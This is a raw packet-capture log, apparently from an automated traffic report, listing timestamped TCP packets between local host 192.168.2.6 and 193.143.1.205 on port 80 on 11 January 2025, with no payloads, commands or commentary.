Jan 11, 2025 06:18:52.711570024 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.711613894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711627007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711639881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711651087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711663961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711671114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.711677074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711689949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711693048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.711702108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711713076 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711720943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.711740971 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.711759090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.711946011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711957932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711971998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.711997032 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.744529963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.744549990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.744564056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.744659901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.744796991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.744820118 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.744832039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.744862080 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.744877100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.744935989 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.771058083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.778204918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778227091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778240919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778283119 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778295994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778309107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778323889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778345108 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.778373003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778398037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778399944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.778412104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778420925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.778426886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778439045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778451920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778459072 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.778495073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.778623104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778635025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778649092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778661013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778672934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.778672934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.778696060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.778714895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.779297113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.800822973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.811412096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811439037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811451912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811464071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811476946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811489105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811533928 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.811582088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811594009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.811594963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811606884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811628103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811639071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811641932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.811671972 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.811778069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811800003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811810017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811811924 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.811841011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.811908960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811954021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811964989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.811989069 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.812001944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812015057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812035084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.812174082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812210083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.812233925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812246084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812277079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.812328100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812339067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812352896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812367916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812371969 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.812387943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812398911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812407970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.812412024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812433004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.812484980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812500000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812519073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.812805891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812841892 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.812865973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812880993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812908888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812915087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.812921047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812935114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.812958002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813007116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813018084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813031912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813039064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813067913 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813124895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813134909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813148022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813159943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813172102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813179016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813185930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813213110 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813235044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813755989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813770056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813781023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813796043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813810110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813816071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813823938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813832998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813838005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813873053 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813891888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813904047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813915968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813929081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813932896 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813944101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813956022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813962936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813978910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.813982964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.813991070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.814003944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.814016104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.814024925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.814028978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.814053059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.814068079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.816390038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816404104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816425085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816438913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816451073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816462994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.816463947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816478968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816513062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.816517115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816529036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816540956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816554070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.816576004 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.816608906 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816621065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816632986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816647053 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816660881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.816669941 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.816701889 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.816962957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.817004919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.817029953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.817043066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.817075014 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.817086935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.817102909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.817125082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.817137003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.817142963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.817148924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.817162037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.817168951 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.817195892 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.832325935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.832344055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.832356930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.832369089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.832384109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.832397938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.832406998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.832415104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.832453966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.865859032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.865906954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.865951061 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.865966082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866000891 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866028070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.866038084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866071939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866097927 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.866122961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866173029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.866175890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866228104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866261005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866274118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.866297007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866331100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866347075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.866364956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866398096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866414070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.866432905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866466045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866481066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.866498947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866533995 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866554976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.866573095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866605997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866620064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.866641045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866676092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.866688013 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.881241083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.886773109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899223089 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899255991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899272919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899285078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899286985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899307013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899333000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899346113 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899347067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899363041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899365902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899375916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899386883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899405956 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899420023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899426937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899441957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899452925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899461031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899461985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899461985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899461985 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899481058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899493933 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899493933 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899508953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899516106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899530888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899535894 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899544001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899557114 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899559021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899584055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899697065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899708986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899720907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899736881 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899750948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899755001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899763107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899776936 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899779081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899796963 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899807930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899820089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899822950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899835110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899849892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899863005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899868011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899874926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899888039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899899006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899939060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.899967909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899980068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.899993896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900007963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900019884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900051117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900082111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900094986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900106907 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900120020 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900135040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900135994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900146961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900156975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900161028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900181055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900201082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900240898 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900254011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900286913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900300026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900312901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900319099 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900326014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900338888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900341034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900357962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900369883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900371075 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900398970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900404930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900418997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900448084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900515079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900528908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900543928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900557041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900559902 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900573969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900585890 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900620937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900657892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900671005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900682926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900696039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900710106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900710106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900733948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900734901 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900748014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900759935 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900773048 CET	80	49709	193.143.1.205	192.168.2.6
Jan 11, 2025 06:18:52.900774002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 11, 2025 06:18:52.900788069 CET	80	49709	193.143.1.205	192.168.2.6
